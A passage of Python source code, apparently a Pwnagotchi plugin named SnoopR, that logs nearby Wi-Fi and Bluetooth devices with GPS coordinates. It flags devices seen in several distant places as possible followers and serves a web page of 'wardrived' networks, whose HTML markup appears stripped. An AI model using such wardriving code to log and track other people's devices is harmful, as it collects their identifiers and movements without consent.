self.options.get('gps', {}).get('method', 'bettercap')} 205 | self.movement_threshold = self.options.get('movement_threshold', 0.1) 206 | self.time_threshold_minutes = self.options.get('time_threshold_minutes', 5) 207 | self.__bluetooth_enabled = self.options.get('bluetooth_enabled', False) 208 | self.timer = self.options.get('timer', 45) 209 | self.__whitelist = self.options.get('whitelist', []) 210 | self.prune_days = self.options.get('prune_days', 30) 211 | 212 | if not os.path.exists(self.__path): 213 | os.makedirs(self.__path) 214 | self.__db = Database(os.path.join(self.__path, self.DATABASE_NAME)) 215 | self.__session_id = self.__db.new_session() 216 | self.__db.prune_old_data(self.prune_days) 217 | self.ready = True 218 | 219 | def on_ui_setup(self, ui): 220 | if self.__ui_enabled: 221 | ui.add_element('snoopr_wifi_networks', LabeledValue( 222 | color=BLACK, label='WiFi Nets:', value='0', position=(7, 95), 223 | label_font=fonts.Small, text_font=fonts.Small)) 224 | ui.add_element('snoopr_wifi_snoopers', LabeledValue( 225 | color=BLACK, label='WiFi Snoopers:', value='0', position=(7, 105), 226 | label_font=fonts.Small, text_font=fonts.Small)) 227 | ui.add_element('snoopr_last_scan', LabeledValue( 228 | color=BLACK, label='Last Scan:', value='N/A', position=(7, 135), 229 | label_font=fonts.Small, text_font=fonts.Small)) 230 | if self.__bluetooth_enabled: 231 | ui.add_element('snoopr_bt_networks', LabeledValue( 232 | color=BLACK, label='BT Nets:', value='0', position=(7, 115), 233 | label_font=fonts.Small, text_font=fonts.Small)) 234 | ui.add_element('snoopr_bt_snoopers', LabeledValue( 235 | color=BLACK, label='BT Snoopers:', value='0', position=(7, 125), 236 | label_font=fonts.Small, text_font=fonts.Small)) 237 | 238 | def on_ui_update(self, ui): 239 | if self.__ui_enabled and self.ready: 240 | current_time = time.time() 241 | if current_time - self.last_scan_time >= self.timer: 242 | self.last_scan_time = current_time 243 | Thread(target=self.on_bluetooth_scan).start() 244 | ui.set('snoopr_wifi_networks', str(self.__db.network_count('wifi'))) 245 | ui.set('snoopr_wifi_snoopers', str(self.__db.snooper_count('wifi'))) 246 | if self.last_scan_time == 0: 247 | ui.set('snoopr_last_scan', 'N/A') 248 | else: 249 | ui.set('snoopr_last_scan', datetime.fromtimestamp(self.last_scan_time).strftime('%H:%M:%S')) 250 | if self.__bluetooth_enabled: 251 | ui.set('snoopr_bt_networks', str(self.__db.network_count('bluetooth'))) 252 | ui.set('snoopr_bt_snoopers', str(self.__db.snooper_count('bluetooth'))) 253 | 254 | def on_unload(self, ui): 255 | if self.__ui_enabled: 256 | with ui._lock: 257 | ui.remove_element('snoopr_wifi_networks') 258 | ui.remove_element('snoopr_wifi_snoopers') 259 | ui.remove_element('snoopr_last_scan') 260 | if self.__bluetooth_enabled: 261 | ui.remove_element('snoopr_bt_networks') 262 | ui.remove_element('snoopr_bt_snoopers') 263 | self.__db.disconnect() 264 | logging.info('[SnoopR] Plugin unloaded') 265 | 266 | def on_unfiltered_ap_list(self, agent, aps): 267 | if not self.ready: 268 | return 269 | with self.__lock: 270 | gps_data = self.__get_gps(agent) 271 | if gps_data and all([gps_data['Latitude'], gps_data['Longitude']]): 272 | self.__last_gps = { 273 | 'latitude': gps_data['Latitude'], 274 | 'longitude': gps_data['Longitude'], 275 | 'altitude': gps_data['Altitude'] or '-' 276 | } 277 | coordinates = {'latitude': str(gps_data['Latitude']), 'longitude': str(gps_data['Longitude'])} 278 | else: 279 | coordinates = {'latitude': '-', 'longitude': '-'} 280 | for ap in aps: 281 | mac = ap['mac'] 282 | ssid = ap['hostname'] if ap['hostname'] != '' else '' 283 | if ssid in self.__whitelist: 284 | continue 285 | encryption = f"{ap['encryption']}{ap.get('cipher', '')}{ap.get('authentication', '')}" 286 | rssi = ap['rssi'] 287 | channel = ap.get('channel', 0) 288 | auth_mode = ap.get('authentication', '') 289 | network_id = self.__db.add_detection(self.__session_id, mac, 'wi-fi ap', ssid, 'wifi', encryption, rssi, coordinates['latitude'], coordinates['longitude'], channel, auth_mode) 290 | self.check_and_update_snooper_status(mac, 'wifi') 291 | 292 | def on_bluetooth_scan(self): 293 | if not self.ready or not self.__bluetooth_enabled: 294 | return 295 | with self.__lock: 296 | gps_data = self.__last_gps 297 | if gps_data['latitude'] == '-' or gps_data['longitude'] == '-': 298 | logging.warning("[SnoopR] No valid GPS data available, skipping Bluetooth scan.") 299 | return 300 | coordinates = {'latitude': gps_data['latitude'], 'longitude': gps_data['longitude']} 301 | try: 302 | cmd_inq = "hcitool inq --flush" 303 | inq_output = subprocess.check_output(cmd_inq.split(), stderr=subprocess.DEVNULL).decode().splitlines() 304 | for line in inq_output[1:]: 305 | fields = line.split() 306 | if len(fields) < 1: 307 | continue 308 | mac_address = fields[0] 309 | name = self.get_device_name(mac_address) 310 | if name in self.__whitelist: 311 | continue 312 | network_id = self.__db.add_detection(self.__session_id, mac_address, 'bluetooth', name, 'bluetooth', '', 0, coordinates['latitude'], coordinates['longitude'], 0, '') 313 | self.check_and_update_snooper_status(mac_address, 'bluetooth') 314 | logging.debug(f'[SnoopR] Logged Bluetooth device: {mac_address} ({name})') 315 | except subprocess.CalledProcessError as e: 316 | logging.error(f"[SnoopR] Error running hcitool: {e}") 317 | 318 | def get_device_name(self, mac_address): 319 | for attempt in range(3): 320 | try: 321 | cmd_name = f"hcitool name {mac_address}" 322 | name_output = subprocess.check_output(cmd_name.split(), stderr=subprocess.DEVNULL).decode().strip() 323 | return name_output if name_output else 'Unknown' 324 | except subprocess.CalledProcessError: 325 | if attempt < 2: 326 | time.sleep(1) 327 | continue 328 | else: 329 | logging.warning(f"[SnoopR] Failed to get name for {mac_address} after 3 attempts") 330 | return 'Unknown' 331 | 332 | def check_and_update_snooper_status(self, mac, device_type): 333 | cursor = self.__db._Database__connection.cursor() 334 | cursor.execute(''' 335 | SELECT d.latitude, d.longitude, d.timestamp 336 | FROM detections d 337 | JOIN networks n ON d.network_id = n.id 338 | WHERE n.mac = ? AND n.device_type = ? 339 | ORDER BY d.timestamp 340 | ''', (mac, device_type)) 341 | rows = cursor.fetchall() 342 | if len(rows) < 3: 343 | return 344 | is_snooper = False 345 | for i in range(1, len(rows)): 346 | lat1, lon1, t1 = rows[i-1] 347 | lat2, lon2, t2 = rows[i] 348 | if lat1 == '-' or lon1 == '-' or lat2 == '-' or lon2 == '-': 349 | continue 350 | lat1, lon1, lat2, lon2 = map(float, [lat1, lon1, lat2, lon2]) 351 | t1 = datetime.strptime(t1, '%Y-%m-%d %H:%M:%S') 352 | t2 = datetime.strptime(t2, '%Y-%m-%d %H:%M:%S') 353 | time_diff = (t2 - t1).total_seconds() / 60.0 354 | if time_diff > self.time_threshold_minutes: 355 | dist = self.__calculate_distance(lat1, lon1, lat2, lon2) 356 | if dist > self.movement_threshold: 357 | is_snooper = True 358 | break 359 | self.__db.update_snooper_status(mac, device_type, int(is_snooper)) 360 | 361 | def __get_gps(self, agent): 362 | if self.__gps_config['method'] == 'bettercap': 363 | info = agent.session() 364 | return info.get('gps', None) 365 | return None 366 | 367 | def __calculate_distance(self, lat1, lon1, lat2, lon2): 368 | R = 3958.8 # Earth's radius in miles 369 | lat1, lon1, lat2, lon2 = map(radians, [lat1, lon1, lat2, lon2]) 370 | dlat = lat2 - lat1 371 | dlon = lon2 - lon1 372 | a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2 373 | c = 2 * atan2(sqrt(a), sqrt(1-a)) 374 | return R * c 375 | 376 | def on_webhook(self, path, request): 377 | if request.method == 'GET': 378 | sort_by = request.args.get('sort_by', None) 379 | filter_by = request.args.get('filter_by', None) 380 | if path == '/' or not path: 381 | all_networks = self.__db.get_all_networks(sort_by=sort_by, filter_by=filter_by) 382 | snoopers = [n for n in all_networks if n['is_snooper']] 383 | center = [float(self.__last_gps['latitude']), float(self.__last_gps['longitude'])] if self.__last_gps['latitude'] != '-' else [0, 0] 384 | return render_template_string(HTML_PAGE, networks=all_networks, snoopers=snoopers, center=center, sort_by=sort_by, filter_by=filter_by) 385 | return "Not found.", 404 386 | 387 | HTML_PAGE = ''' 388 | 389 | 390 | 391 | 392 | 393 | SnoopR - Wardrived Networks 394 | 395 | 430 | 431 | 432 | 433 |

SnoopR - Wardrived Networks

434 |
435 | 436 | 437 | 438 |
439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | {% for network in networks %} 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | {% endfor %} 465 | 466 |
Device TypeMAC AddressTypeNameFirst SeenLast Seen# SessionsSnooper
{{ network.device_type }}{{ network.mac }}{{ network.type }}{{ network.name }}{{ network.first_seen }}{{ network.last_seen }}{{ network.sessions_count }}{{ 'Yes' if network.is_snooper else 'No' }}
467 |
468 | 469 | 470 | 550 | 551 | 552 | ''' 553 | --------------------------------------------------------------------------------